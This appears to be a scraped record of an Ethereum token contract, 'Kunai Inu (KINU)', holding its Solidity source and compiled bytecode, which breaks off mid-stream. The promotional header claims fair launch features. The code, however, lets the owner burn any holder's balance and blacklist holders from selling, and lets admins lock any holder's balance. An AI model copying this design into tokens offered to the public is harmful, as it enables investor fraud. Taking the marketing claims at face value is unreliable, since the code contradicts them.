b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a038316600090815260208190526040812054821115610b1057600080fd5b600160a060020a0384166000908152600160209081526040808320338452909152902054821115610b4057600080fd5b600160a060020a0383161515610b5557600080fd5b600160a060020a038416600090815260208190526040902054610b7e908363ffffffff610e3f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610bb3908363ffffffff610c4e16565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610bf5908363ffffffff610e3f16565b600160a060020a0380861660008181526001602090815260408083203384528252918290209490945580518681529051928716939192600080516020611036833981519152929181900390910190a35060019392505050565b81810182811015610c5b57fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610c8657600080fd5b600160a060020a038216600090815260208190526040902054610caf908263ffffffff610e3f16565b600160a060020a038316600090815260208190526040902055600254610cdb908263ffffffff610e3f16565b600255604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206110368339815191529181900360200190a35050565b336000908152600160209081526040808320600160a060020a0386168452909152812054808310610da457336000908152600160209081526040808320600160a060020a0388168452909152812055610dd9565b610db4818463ffffffff610e3f16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082821115610e4b57fe5b50900390565b33600090815260208190526040812054821115610e6d57600080fd5b600160a060020a0383161515610e8257600080fd5b33600090815260208190526040902054610ea2908363ffffffff610e3f16565b3360009081526020819052604080822092909255600160a060020a03851681522054610ed4908363ffffffff610c4e16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206110368339815191529281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610f52908363ffffffff610c4e16565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0381161515610fcc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208c3bfddea3c76650a24a71d18dc2415ac083419cc6a58a4b77447858ceacdc3c0029
|
{"success": true, "error": null, "results": {}}
| 7,868 |
0xa0a4109783eb8e7988d4a76c9b7fa61eb3e95d69
|
/*
// Kunai Inu (KINU)
// Liqudity Locked
// CMC and CG listing application in place!!!
// 50% Liquidity Burned. VB Free
// No Dev Wallets
// Twitter.com/KunaiInu
// t.me/Kunai_Inu
// reddit.com/r/Kunai_Inu
// ........................................................................................::::::***:.....................................................................................................
// ............................................................................:::::******************..................................................................................:::::::::..........
// ...............................................................:::::******************************I:..............................................................................:************::.......
// ...................................................::::::******************************************I*:............::::::::.....................................................::****:::::**I****:......
// .....................................::::::**********************************************************I*:........:**********:::..............................................::*****:........:*I****.....
// .........................:::::::***********************************************************************II***:::***************$FI**************I$$$IIII$$$II******III*::::********:...........*I***:....
// ............::::::***************************************************************************************IIIII***I*:.....:*****NNNNNNNNNN$NNNNN$$NNNNNNNNNNNNNNNN$$NNN************:...........:I***:....
// .::::************************************************************************************************************I........****:FNNNNNNNNN$NNNNNN$NNNNMN$$NNMMMMNNNNNNN************:...........:****:....
// ....:::::********************************************************************************************************F:......:****:NMNN$NNNNN$$MMNNN$NNNNNN$$NNNNNNNN$NNNN*************:.........:*****:....
// ...............:::::**********************************************************************************************F*::::*I***:I$FI*IIIIII*****************************:::::::::******:::..::******:.....
// ..........................:::::***************************************************************************IIIII******II*****::..................................................:::*************:.......
// ...................................::::::****************************************************************II*::...::******:::........................................................:::*****:::.........
// ..............................................::::::***************************************************II*:.............................................................................................
// ........................................................:::::*****************************************I*:...............................................................................................
// ...................................................................:::::*****************************I*:................................................................................................
// ..............................................................................:::::*******************..................................................................................................
// .......................................................................................:::::********:..................................................................................................
// .................................................................................................::.....................................................................................................
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract KINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
//ANTI BOT mechanism in place used at discretion of contract owner.
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808